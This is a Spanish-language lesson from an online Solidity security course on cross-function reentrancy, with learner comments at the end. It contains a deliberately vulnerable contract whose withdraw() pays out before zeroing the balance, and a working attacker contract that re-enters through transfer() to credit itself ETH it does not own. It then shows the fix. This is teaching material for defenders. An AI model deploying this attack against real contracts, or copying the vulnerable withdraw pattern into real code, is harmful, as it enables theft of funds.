Reentrancy cruzado: ataca primero a una funcion usandola como llave de entrada al contrato, para poder atacar a una segunda funcion y asi poder acreditarle fondos a alguna cuenta.
Introducci贸n
Importancia de la seguridad en el desarrollo de contratos
Buenas pr谩cticas
Vulnerabilidades con variables globales
Identificaci贸n del usuario: problema con tx.origin
Dependencia con timestamp
Vulnerabilidades del almacenamiento
Overflow y underflow
Variables privadas
Problemas con llamadas externas
DelegateCall
Gas insuficiente en Solidity
Ataques con transferencias
Forzar env铆o de Ethers
Reentrancy simple
Reentrancy cruzado
Denegaci贸n de servicio
Denegaci贸n por reversi贸n
Denegaci贸n por l铆mite de gas
Despedida
Desaf铆o
Contin煤a aprendiendo
No tienes acceso a esta clase
隆Contin煤a aprendiendo! 脷nete y comienza a potenciar tu carrera
Sebasti谩n Leonardo Perez
La vulnerabilidad de los contratos inteligentes conocida como reetrancy no solo permite llamar a una misma funci贸n una y otra vez; existe una variante similar, pero que provoca el llamado a una segunda funci贸n. Se lo conoce con el nombre de reetrancy cruzado.
Para que este tipo de vulnerabilidad se exponga, el contrato atacado debe tener una segunda funci贸n que permita manipular ETH de forma no contemplada por la regla de negocio principal del mismo.
Veamos de qu茅 se trata esta vulnerabilidad y c贸mo prevenirla a trav茅s de un simple ejemplo:
Utilizaremos de ejemplo un contrato inteligente que permite depositar, retirar y transferir ETH a un tercero. Cada direcci贸n solo puede retirar sus propios fondos o transferirlos a otra cuenta, pero la vulnerabilidad permitir谩 que un atacante duplique sus fondos en otra cuenta para que esta tambi茅n pueda hacer retiros de ETH que no le corresponden.
Comencemos con el contrato principal que contiene la l贸gica de negocios para el dep贸sito, retiro y transferencia de Ether.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract ReentrancyCross {
mapping (address => uint) private balances;
// Funci贸n para depositar ETH
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// Funci贸n para retirar todo el ETH de una cuenta
function withdraw() public {
uint amount = balances[msg.sender];
(bool result, ) = msg.sender.call{value: amount}("");
require(result);
balances[msg.sender] = 0;
}
// Funci贸n para enviar ETH de una cuenta a otra, la vulnerabilidad la utiliza para duplicar balances
function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
// Funci贸n para ver el balance de una cuenta
function getBalance(address addr) public view returns (uint) {
return balances[addr];
}
// Funci贸n para ver el balance total del contrato
function getTotalBalance() public view returns (uint) {
return address(this).balance;
}
}
Por su parte, el contrato atacante:
contract Ataque {
// Direcci贸n del owner de contrato donde se duplicar谩 el balance
address payable ownerAddr;
ReentrancyCross public reentrancyCross;
constructor(address _reentrancyCrossAddress) {
// Instanciamos el contrato ReentrancyCross
reentrancyCross = ReentrancyCross(_reentrancyCrossAddress);
ownerAddr = payable(msg.sender);
}
// Funci贸n que recibe los ETH luego de un retiro
receive() external payable {
// Llamando a transfer(), duplicamos el balance en la cuenta del atacante
reentrancyCross.transfer(ownerAddr, msg.value);
}
// Funci贸n que ocasiona el llamado a una segunda funci贸n luego del retiro
function attack() external payable {
require(msg.value >= 1 ether);
reentrancyCross.deposit{value: 1 ether}();
reentrancyCross.withdraw();
}
// Funci贸n para ver el balance total del contrato luego de explotar la vulnerabilidad
function getTotalBalance() public view returns (uint) {
return address(this).balance;
}
}
ReentrancyCross
.Attack
que recibe en el constructor la direcci贸n de ReentrancyCross
.Attack.attack
enviando 1 ETH con una tercera cuenta para tener acceso a realizar una extracci贸n. El contrato atacante recuperar谩 inmediatamente ese ETH mientras que tambi茅n provocar谩 que el balance se duplique en otra direcci贸n para que esta pueda retirar un ETH que no le pertenece.CONSEJO: te animo a que t煤 mismo despliegues los contratos en entornos como Remix para que explores la vulnerabilidad y veas que, efectivamente, el contrato atacante duplica el balance en otra cuenta.
Attack
deposit贸 un ETH e inmediatamente lo retir贸 con ReentrancyCross.withdraw
que realiza una call()
al propio contrato atacante. El contrato atacante recibe ese llamado en receive()
, guarda el ETH, y ejecuta la funci贸n transfer()
del contrato vulnerado. Dicha funci贸n, provoca que el balance del contrato atacante sea transferido a otra direcci贸n. En este ejemplo, se utiliza la direcci贸n que despleg贸 el contrato Attack
.
De esta manera, el owner que despleg贸 el contrato Attack
, tendr谩 en su balance personal de ReentrancyCross
1 ETH que no le pertenece y que puede retirar sin problemas.
Habi茅ndose duplicado el balance, el owner de Attack
se queda con 1 ETH mientras que el propio contrato Attack
posee el otro ETH f谩cilmente retirable por parte del owner.
La vulnerabilidad del tipo reetrancy cruzado es m谩s discreta, ya que 茅sta no vac铆a por completo los fondos de una contrato como reetrancy, permite realizar peque帽os retiros tal vez insospechados si el contrato tiene miles de ETH.
Al realizarse la transferencia antes de que el balance del contrato atacante se ponga en 0, permite hacer una transferencia de este balance a otra cuenta. Observa que el balance de la cuenta del contrato atacante se setea a 0 reci茅n en la 煤ltima l铆nea de c贸digo de la funci贸n withdraw()
.
function withdraw() public {
uint amount = balances[msg.sender];
(bool result, ) = msg.sender.call{value: amount}("");
require(result);
balances[msg.sender] = 0;
}
Exactamente, el mismo problema de reetrancy, al no setear el balance a 0 en el momento correcto, permite realizar una transferencia del balance a otra cuenta.
Veremos dos medidas que puedes tomar para evitar este enorme problema de seguridad.
function withdraw() public {
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool result, ) = msg.sender.call{value: amount}("");
require(result);
}
Corresponde setear a 0 el balance de la cuenta que retira sus fondos antes de realizar el llamado externo. En el caso de que el llamado falle por otro motivo, no te preocupes, ya que el require()
har谩 un revert()
y los balances volver谩n a como estaban antes del fallo.
(bool sent, ) = msg.sender.call{value: monto, gas: 10000}("");
Siempre es aconsejable configurar el gas disponible para un llamado externo.
Hemos visto hasta aqu铆 que el dep贸sito, retiro o transferencia de valor entre cuentas o contratos es un tema que no debe tomarse a la ligera. Muchas variables pueden escaparse y provocar desastres econ贸micos, como muchos que ya han sucedido en la industria.
Como desarrolladores Web3, tenemos la responsabilidad de cuidar el ecosistema y que sea un lugar confiable para depositar nuestro dinero.
Contribuci贸n creada por: Kevin Fiorentino (Platzi Contributor).
Aportes 3
Preguntas 1
Reentrancy cruzado: ataca primero a una funcion usandola como llave de entrada al contrato, para poder atacar a una segunda funcion y asi poder acreditarle fondos a alguna cuenta.
no se si soy yo o solo mostrando el code no se entiende.
Si es cierto que esta vulnerabilidad es m谩s discreta que Reetrancy Simple, ya que no permite vaciar por completo los fondos de un contrato, sino realizar retiros m铆nimos de dinero y que tal vez nadie se d茅 cuenta.
驴Quieres ver m谩s aportes, preguntas y respuestas de la comunidad?